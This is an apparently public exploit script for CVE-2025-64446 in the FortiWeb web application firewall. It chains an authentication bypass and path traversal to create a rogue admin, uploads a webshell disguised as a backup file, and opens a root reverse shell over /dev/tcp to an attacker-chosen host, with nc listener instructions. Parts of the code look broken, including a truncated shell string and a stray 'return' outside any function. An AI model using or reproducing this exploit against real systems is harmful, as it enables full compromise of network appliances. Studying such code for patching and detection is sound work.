# Exploit Title: FortiWeb 8.0.2 - Remote Code Execution # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.fortinet.com # Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb # Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2 # Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds) # CVE: CVE-2025-64446 # CVSS: 9.8 (Critical) # Category: WebApps # Platform: Hardware/Appliance (Linux-based) # CRITICAL: True # Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE # Impact: Full system compromise, root reverse shell # Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later # Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446 # Patch: https://support.fortinet.com # Target: FortiWeb management interface (default port 8443) import requests, sys, time, base64 from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def banner(): print(""" CVE-2025-64446 FortiWeb RCE Exploit Author: Mohammed Idrees Banyamer | @banyamer_security LAB / AUTHORIZED TESTING ONLY """) if len(sys.argv) != 4: banner() print("Usage : python3 fortiweb_rce.py ") print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444") print("\nSteps:") print(" 1. Start listener → nc -lvnp 4444") print(" 2. Run exploit → python3 fortiweb_rce.py 4444") print(" 3. Get root shell → enjoy\n") sys.exit(1) banner() target = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = sys.argv[3] print(f"[*] Target : {target}") print(f"[*] Callback : {LHOST}:{LPORT}\n") s = requests.Session() s.verify = False s.headers = {"Content-Type": "application/json"} print("[1] Creating temporary admin user...") payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"} r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10) if r.status_code != 200 or "success" not in r.text: print("[-] Failed to create admin → Target is likely patched") return print("[2] Logging in with new admin...") login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10) if "success" not in login.text: print("[-] Login failed") return shell = f'& /dev/tcp/{LHOST}/{LPORT} 0>&1\'"); ?>' b64shell = base64.b64encode(shell.encode()).decode() + "AAA==" print("[3] Uploading webshell via backup function...") files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')} s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15) print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...") s.get(f"{target}/pwned.dat", timeout=10) time.sleep(8) print("[5] Cleaning up temporary admin account...") s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"}) print("\n[+] Exploit completed – check your listener for root shell!")